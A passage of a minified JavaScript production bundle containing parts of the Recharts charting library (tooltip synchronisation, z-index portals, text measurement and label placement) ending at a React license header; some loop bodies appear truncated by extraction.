t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},wS=M([ps,Y0,bS,G0],sS),Su=M([Ar,_r,_e,xt,Ir,G0,wS],aS),fR=M([X0,Su],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),jS=M([Ir,Z0],J4),pR=M([wS,Z0,Tr,al,jS,oS,Y0],lS),mR=M([X0,Z0],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),hR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&cR(e,o)){var l=nT(e,t),c=gS(l,a,i,n,r),u=oR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},xR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=i8(e,n);if(l){var c=rT(l,t),u=gS(c,o,a,r,i),d=lR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},vR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?hR(e,t,r,i,a,o,l):xR(e,t,n,r,i,a,o)},gR=M(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),yR=M(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ut)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:e7}});function db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fb(e){for(var t=1;tfb(fb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),kR)},SR=new Set(Object.values(Ut));function zR(e){return SR.has(e)}var kS=Yt({name:"zIndex",initialState:NR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:$e()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!zR(n)&&delete e.zIndexMap[n])},prepare:$e()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:$e()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:$e()}}}),{registerZIndexPortal:CR,unregisterZIndexPortal:PR,registerZIndexPortalElement:ER,unregisterZIndexPortalElement:AR}=kS.actions,_R=kS.reducer;function yi(e){var{zIndex:t,children:n}=e,r=TT(),i=r&&t!==void 0&&t!==0,a=Fn(),o=tt();p.useLayoutEffect(()=>i?(o(CR({zIndex:t})),()=>{o(PR({zIndex:t}))}):as,[o,t,i]);var l=xe(c=>gR(c,t,a));return i?l?lx.createPortal(n,l):null:n}function sh(){return sh=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(NS),SS={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!er(n))return e[n]}},FR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},CS=Yt({name:"options",initialState:FR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),WR=CS.reducer,{createEventEmitter:UR}=CS.actions;function VR(e){return e.tooltip.syncInteraction}var HR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},PS=Yt({name:"chartData",initialState:HR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:hb,setDataStartEndIndexes:KR,setComputedData:PV}=PS.actions,qR=PS.reducer,YR=["x","y"];function xb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function da(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return as;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=QR(h,YR),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=da(da({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(da(da({},d),{},{payload:da(da({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(L=>String(L.value)===d.payload.label));var{coordinate:O}=d.payload;if(S==null||d.payload.active===!1||O==null||o==null){n(ih({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:T}=O,P=Math.min(_,o.x+o.width),R=Math.min(T,o.y+o.height),V={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?R:S.coordinate},$=ih({active:d.payload.active,coordinate:V,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n($)}}};return Ro.on(oh,c),()=>{Ro.off(oh,c)}},[l,n,t,e,r,i,a,o])}function t9(){var e=xe(h0),t=xe(x0),n=tt();p.useEffect(()=>{if(e==null)return as;var r=(i,a,o)=>{t!==o&&e===i&&n(KR(a))};return Ro.on(mb,r),()=>{Ro.off(mb,r)}},[n,t,e])}function n9(){var e=tt();p.useEffect(()=>{e(UR())},[e]),e9(),t9()}function r9(e,t,n,r,i,a){var o=xe(h=>dR(h,e,t)),l=xe(x0),c=xe(h0),u=xe(x4),d=xe(VR),f=d==null?void 0:d.active,m=Ed();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=ih({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Ro.emit(oh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function gb(e){for(var t=1;t{N(sD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var O=Ed(),_=uN(),T=eD(b),{activeIndex:P,isActive:R}=(t=xe(Y=>mR(Y,T,w,z)))!==null&&t!==void 0?t:{},V=xe(Y=>pR(Y,T,w,z)),$=xe(Y=>jS(Y,T,w,z)),L=xe(Y=>fR(Y,T,w,z)),W=V,B=RR(),U=(n=i??R)!==null&&n!==void 0?n:!1,[F,H]=UO([W,U]),G=T==="axis"?$:void 0;r9(T,w,L,G,P,U);var re=k??B;if(re==null||O==null||T==null)return null;var oe=W??yb;U||(oe=yb),u&&oe.length&&(oe=oO(oe.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,o9));var he=oe.length>0,pe=p.createElement(iM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:U,coordinate:L,hasPayload:he,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:F,innerRef:H,hasPortalFromProps:!!k},l9(c,gb(gb({},r),{},{payload:oe,label:G,active:U,activeIndex:P,coordinate:L,accessibilityLayer:_})));return p.createElement(p.Fragment,null,lx.createPortal(pe,re),U&&p.createElement(DR,{cursor:v,tooltipEventType:T,coordinate:L,payload:oe,index:P}))}var Qd=e=>null;Qd.displayName="Cell";function u9(e,t,n){return(t=d9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function d9(e){var t=f9(e,"string");return typeof t=="symbol"?t:t+""}function f9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class p9{constructor(t){u9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function m9(e){for(var t=1;t{try{var n=document.getElementById(kb);n||(n=document.createElement("span"),n.setAttribute("id",kb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,y9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Sb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Td.isSsr)return{width:0,height:0};if(!ES.enableCache)return Nb(t,n);var r=b9(t,n),i=jb.get(r);if(i)return i;var a=Nb(t,n);return jb.set(r,a),a},AS;function w9(e,t,n){return(t=j9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function j9(e){var t=k9(e,"string");return typeof t=="symbol"?t:t+""}function k9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var zb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Cb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,N9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,S9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,z9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},C9=["cm","mm","pt","pc","in","Q","px"];function P9(e){return C9.includes(e)}var Ca="NaN";function E9(e,t){return e*z9[t]}class wt{static parse(t){var n,[,r,i]=(n=S9.exec(t))!==null&&n!==void 0?n:[];return r==null?wt.NaN:new wt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,er(t)&&(this.unit=""),n!==""&&!N9.test(n)&&(this.num=NaN,this.unit=""),P9(n)&&(this.num=E9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new wt(NaN,""):new wt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new wt(NaN,""):new wt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new wt(NaN,""):new wt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new wt(NaN,""):new wt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return er(this.num)}}AS=wt;w9(wt,"NaN",new AS(NaN,""));function _S(e){if(e==null||e.includes(Ca))return Ca;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=zb.exec(t))!==null&&n!==void 0?n:[],o=wt.parse(r??""),l=wt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ca;t=t.replace(zb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Cb.exec(t))!==null&&u!==void 0?u:[],h=wt.parse(d??""),x=wt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ca;t=t.replace(Cb,g.toString())}return t}var Pb=/\(([^()]*)\)/;function A9(e){for(var t=e,n;(n=Pb.exec(t))!=null;){var[,r]=n;t=t.replace(Pb,_S(r))}return t}function _9(e){var t=e.replace(/\s+/g,"");return t=A9(t),t=_S(t),t}function O9(e){try{return _9(e)}catch{return Ca}}function lp(e){var t=O9(e.slice(5,-1));return t===Ca?"":t}var T9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],M9=["dx","dy","angle","className","breakAll"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];St(t)||(n?i=t.toString().split(""):i=t.toString().split(OS));var a=i.map(l=>({word:l,width:Sb(l,r).width})),o=n?0:Sb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function I9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var MS=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),D9="…",Ab=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=TS({breakAll:n,style:r,children:c+D9});if(!u)return[!1,[]];var d=MS(u.wordsWithComputedWidth,a,o,l),f=d.length>i||LS(d).width>Number(a);return[f,d]},R9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=fe(a),d=String(o),f=MS(t,r,n,i);if(!u||i)return f;var m=f.length>a||LS(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Ab(d,b,c,l,a,r,n,i),[k]=Ab(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},_b=e=>{var t=St(e)?[]:e.toString().split(OS);return[{words:t,width:void 0}]},$9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Td.isSsr){var l,c,u=TS({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return _b(r);return R9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return _b(r)},IS="#808080",B9={angle:0,breakAll:!1,capHeight:"0.71em",fill:IS,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},Q0=p.forwardRef((e,t)=>{var n=cn(e,B9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Eb(n,T9),m=p.useMemo(()=>$9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Eb(f,M9);if(!br(r)||!br(i)||m.length===0)return null;var w=Number(r)+(fe(h)?h:0),j=Number(i)+(fe(x)?x:0);if(!je(w)||!je(j))return null;var k;switch(d){case"start":k=lp("calc(".concat(o,")"));break;case"middle":k=lp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=lp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:O}=f;S.push("scale(".concat(fe(O)&&fe(z)?O/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",lh({},Mt(b),{ref:t,x:w,y:j,className:qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?IS:l}),m.map((_,T)=>{var P=_.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:T===0?k:a,key:"".concat(P,"-").concat(T)},P)}))});Q0.displayName="Text";function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Bx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(O.height=Math.max(N.y+N.height-(o+l),0),O.width=u),O}if(n==="left"){var _={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(_.width=Math.max(_.x-N.x,0),_.height=l),_}if(n==="right"){var T={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(T.width=Math.max(N.x+N.width-T.x,0),T.height=l),T}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Hn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Hn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Hn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Hn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Hn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Hn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Hn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Hn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(fe(n.x)||Zi(n.x))&&(fe(n.y)||Zi(n.y))?Hn({x:a+nn(n.x,h),y:o+nn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Hn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},H9=["labelRef"],K9=["content"];function Tb(e,t){if(e==null)return{};var n,r,i=q9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(Z9),t=Ed();return e||(t?Bx(t):void 0)},J9=p.createContext(null),e$=()=>{var e=p.useContext(J9),t=xe(j4);return e||t},t$=e=>{var{value:t,formatter:n}=e,r=St(e.children)?t:e.children;return typeof n=="function"?n(r):r},n$=e=>e!=null&&typeof e=="function",r$=(e,t)=>{var n=Ft(t-e),r=Math.min(Math.abs(t-e),360);return n*r},i$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=r$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=rt(l,c,x,v),j=rt(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),S=St(e.id)?So("recharts-radial-line-"):e.id;return p.createElement("text",zu({},r,{dominantBaseline:"central",className:qe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},a$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=rt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=rt(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},fc=e=>e!=null&&"cx"in e&&fe(e.cx),s$={angle:0,offset:5,zIndex:Ut.label,position:"middle",textBreakAll:!1};function o$(e){if(!fc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function DS(e){var t=cn(e,s$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=e$(),m=Q9(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:fc(n)?x=n:x=Bx(n);var v=o$(x);if(!x||St(a)&&St(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Wl(Wl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Tb(b,H9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Tb(b,K9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=t$(t);var N=Mt(t);if(fc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return i$(t,i,g,N,x);y=a$(x,t.offset,t.position)}else{if(!v)return null;var z=V9({viewBox:v,position:i,offset:t.offset,parentViewBox:fc(r)?void 0:r});y=Wl(Wl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(yi,{zIndex:t.zIndex},p.createElement(Q0,zu({ref:d,className:qe("recharts-label",c)},N,y,{textAnchor:I9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}DS.displayName="Label";var RS={},$S={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})($S);var BS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(BS);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$S,n=BS,r=dd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(RS);var l$=RS.last;const c$=Cr(l$);var u$=["valueAccessor"],d$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Cu(){return Cu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?c$(e.value):e.value,FS=p.createContext(void 0),m$=FS.Provider,WS=p.createContext(void 0),h$=WS.Provider;function x$(){return p.useContext(FS)}function v$(){return p.useContext(WS)}function pc(e){var{valueAccessor:t=p$}=e,n=Lb(e,u$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Lb(n,d$),u=x$(),d=v$(),f=u||d;return!f||!f.length?null:p.createElement(yi,{zIndex:l??Ut.label},p.createElement(qt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=St(r)?t(m,h):Re(m.payload,r),y=St(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(DS,Cu({key:"label-".concat(h)},Mt(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}pc.displayName="LabelList";function US(e){var{label:t}=e;return t?t===!0?p.createElement(pc,{key:"labelList-implicit"}):p.isValidElement(t)||n$(t)?p.createElement(pc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(pc,Cu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ch(){return ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=qe("recharts-dot",i);return fe(t)&&fe(n)&&fe(r)?p.createElement("circle",ch({},yr(e),wx(e),{className:a,cx:t,cy:n,r})):null},HS=e=>e.graphicalItems.polarItems,g$=M([Ye,rl],k0),Jd=M([HS,Qe,g$],N0),y$=M([Jd],S0),ef=M([y$,Wd],z0),b$=M([ef,Qe,Jd],P0);M([ef,Qe,Jd],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Re(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Re(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Ib=()=>{},w$=M([ef,Qe,Jd,Yd,Ye],O0),j$=M([Qe,A0,_0,Ib,w$,Ib,_e,Ye],T0),KS=M([Qe,_e,ef,b$,nl,Ye,j$],M0),k$=M([KS,ds,gi],D0),N$=M([Qe,KS,k$,Ye],$0);M([gi,N$],N4);var S$={radiusAxis:{},angleAxis:{}},qS=Yt({name:"polarAxis",initialState:S$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:EV,removeRadiusAxis:AV,addAngleAxis:_V,removeAngleAxis:OV}=qS.actions,z$=qS.reducer;function C$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Rb(e){for(var t=1;tt,J0=M([HS,_$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),O$=[],ev=(e,t,n)=>(n==null?void 0:n.length)===0?O$:n,YS=M([Wd,J0,ev],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Rb(Rb({},t.presentationProps),a.props))),i!=null)return i}}),T$=M([YS,J0,ev],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Re(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Nd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),M$=M([YS,J0,ev,xt],(e,t,n,r)=>{if(!(t==null||e==null))return $B({offset:r,pieSettings:t,displayedData:e,cells:n})}),GS={exports:{}},Oe={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var 